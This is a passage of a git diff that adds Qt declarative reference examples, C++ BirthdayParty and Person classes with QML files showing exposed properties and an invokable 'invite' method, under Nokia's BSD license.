+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+// ![0]
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
+void BirthdayParty::invite(const QString &name)
+{
+ Person *person = new Person(this);
+ person->setName(name);
+ m_guests.append(person);
+}
+// ![0]
+
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h
new file mode 100644
index 00000000..93aea13c
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDeclarativeListProperty>
+#include "person.h"
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+// ![0]
+ Q_INVOKABLE void invite(const QString &name);
+// ![0]
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/example.qml b/examples/declarative/cppextensions/referenceexamples/methods/example.qml
new file mode 100644
index 00000000..1fb52c09
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/example.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ host: Person {
+ name: "Bob Jones"
+ shoeSize: 12
+ }
+ guests: [
+ Person { name: "Leo Hodges" },
+ Person { name: "Jack Smith" },
+ Person { name: "Anne Brown" }
+ ]
+
+ Component.onCompleted: invite("William Green")
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/main.cpp b/examples/declarative/cppextensions/referenceexamples/methods/main.cpp
new file mode 100644
index 00000000..54dffcaa
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/main.cpp
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<Person>("People", 1,0, "Person");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+ qWarning() << "They are inviting:";
+ for (int ii = 0; ii < party->guestCount(); ++ii)
+ qWarning() << " " << party->guest(ii)->name();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/methods.pro b/examples/declarative/cppextensions/referenceexamples/methods/methods.pro
new file mode 100644
index 00000000..ae062428
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/methods.pro
@@ -0,0 +1,18 @@
+TEMPLATE = app
+TARGET = methods
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += methods.qrc
+
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/methods
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS methods.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/methods
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/methods.qrc b/examples/declarative/cppextensions/referenceexamples/methods/methods.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/methods.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/person.cpp b/examples/declarative/cppextensions/referenceexamples/methods/person.cpp
new file mode 100644
index 00000000..75779631
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/person.cpp
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+Person::Person(QObject *parent)
+: QObject(parent), m_shoeSize(0)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+int Person::shoeSize() const
+{
+ return m_shoeSize;
+}
+
+void Person::setShoeSize(int s)
+{
+ m_shoeSize = s;
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/methods/person.h b/examples/declarative/cppextensions/referenceexamples/methods/person.h
new file mode 100644
index 00000000..cc02cb4e
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/methods/person.h
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ int shoeSize() const;
+ void setShoeSize(int);
+private:
+ QString m_name;
+ int m_shoeSize;
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.cpp
new file mode 100644
index 00000000..34ac63c9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+// ![0]
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+// ![0]
+
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h
new file mode 100644
index 00000000..575b3061
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDeclarativeListProperty>
+#include "person.h"
+
+// ![0]
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+// ![0]
+// ![1]
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+// ![1]
+// ![2]
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+// ![2]
+// ![3]
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+// ![3]
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/example.qml b/examples/declarative/cppextensions/referenceexamples/properties/example.qml
new file mode 100644
index 00000000..67c3e948
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/example.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ host: Person {
+ name: "Bob Jones"
+ shoeSize: 12
+ }
+ guests: [
+ Person { name: "Leo Hodges" },
+ Person { name: "Jack Smith" },
+ Person { name: "Anne Brown" }
+ ]
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/main.cpp b/examples/declarative/cppextensions/referenceexamples/properties/main.cpp
new file mode 100644
index 00000000..54dffcaa
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/main.cpp
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<Person>("People", 1,0, "Person");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+ qWarning() << "They are inviting:";
+ for (int ii = 0; ii < party->guestCount(); ++ii)
+ qWarning() << " " << party->guest(ii)->name();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/properties/person.cpp b/examples/declarative/cppextensions/referenceexamples/properties/person.cpp
new file mode 100644
index 00000000..75779631
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/properties/person.cpp
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
